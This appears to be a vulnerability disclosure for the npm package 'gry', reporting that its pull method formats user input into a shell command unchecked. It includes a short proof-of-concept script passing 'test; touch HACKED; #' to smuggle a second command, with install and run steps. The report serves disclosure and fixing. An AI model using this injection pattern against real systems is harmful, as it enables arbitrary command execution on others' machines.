Command Injection in ionicabizau/node-gry
Valid
Reported on
Apr 3rd 2020
Overview
The issue occurs because a user input
is formatted inside a command
that will be executed without any check.
Proof of Concept (Credit: Mik317)
- Create the following PoC file:
// poc.js
const Repo = require("gry");
var myRepo = new Repo(".");
myRepo.pull("test; touch HACKED; #", function () {
console.log("Finished!");
});
- Check there aren't files called
HACKED
- Execute the following commands in another terminal:
npm i gry # Install affected module
node poc.js # Run the PoC
- Recheck the files: now
HACKED
has been created
References:
to join this conversation